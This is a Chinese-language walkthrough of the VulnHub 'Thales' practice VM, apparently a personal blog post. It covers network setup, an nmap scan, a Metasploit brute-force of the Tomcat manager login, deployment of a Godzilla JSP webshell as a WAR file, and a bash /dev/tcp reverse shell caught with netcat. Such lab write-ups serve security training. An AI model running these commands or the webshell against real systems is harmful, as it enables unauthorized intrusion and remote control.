1.下载导入VBox，并启动靶机
靶机地址：https://download.vulnhub.com/thales/Thales.zip
解压后，在VBox中导入虚拟电脑。包含所有网卡的MAC地址。
导入完成，设置网卡模式为仅主机网络。开启靶机。
kali网卡更改为桥接模式。点击工具栏的“编辑”----"虚拟网络编辑器"，再点击右下角的“更改设置”，选择桥接网卡，修改已桥接至：VBox Host-Only 网卡，便于搜索靶机IP。点击应用----稍等一下，再点击确认。
先关闭后开启网络服务：systemctl stop networking systemctl start networking
查看kali的ip：发现是192.168.56.102
2.使用kali，扫描局域网内的主机，判断靶机的ip
扫描命令：nmap 192.168.56.1/24 且只有22和8080端口开启
3.访问靶机的8080端口
访问:http://192.168.56.101:8080
发现页面是Apache Tomcat小猫页面，存在管理员登录。
4. 登录需要爆破用户名和密码，使用msf进行操作
kali进入msf：msfconsole 【执行命令后，需要等待运行一下】
注意：如果没msfconfig命令，请先安装。建议是：先更新一下apt，即apt update。如果更新过，则忽略更新这一步。再安装需要的命令：apt install msfconfig。
输入search tomcat login，进行设置后完成爆破。
设置1：use 0 使用这个方法
设置2：输入 show options，查看必须填写的信息 。
发现RHost、RPort 目标主机和目标端口必须设置
设置主机：set rhost 192.168.56.101，可访问端口只有8080，可以设置也可以不设置。
输入run运行程序，爆破用户名和密码：tomcat:role1
输入:exit，退出msf
5.使用爆破的用户名和密码，管理App登录
6. 发现可上传WAR包，进行上传木马操作
使用哥斯拉生成jsp木马文件，压缩成zip文件。修改压缩包后缀为.war。
上传war文件，点击部署。
7.访问上传的木马文件
访问：http://192.168.56.101:8080/webshell/webshell.jsp
访问成功。
8.使用哥斯拉进行连接
目标”添加“----写入木马url，选择木马类型，点击测试连接。连接成功。
点击添加。
9.反弹shell
右击连接--进入。选择命令执行。
执行反弹shell命令：/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.102/6688 0>&1'
这里是攻击者的ip，即kali的ip。
执行前，kali先进行监听：nc -lvvp 6688
执行反弹shell，kali监听收到了shell。执行whoami，可以看到是tomcat，成功。
Thales靶机练习结束。
本次靶机，对于网卡的配置很重要，也是重中之重。
这里使用msf进行爆破用户名和密码，是一种暴力破解工具。
靶机结束，剩余部分还未学到。不做说明。
希望对于困惑的朋友，可以有所帮助。当然也希望大家都最好能有所收获。
再见。。。
--------------------2025/3/25 23:17
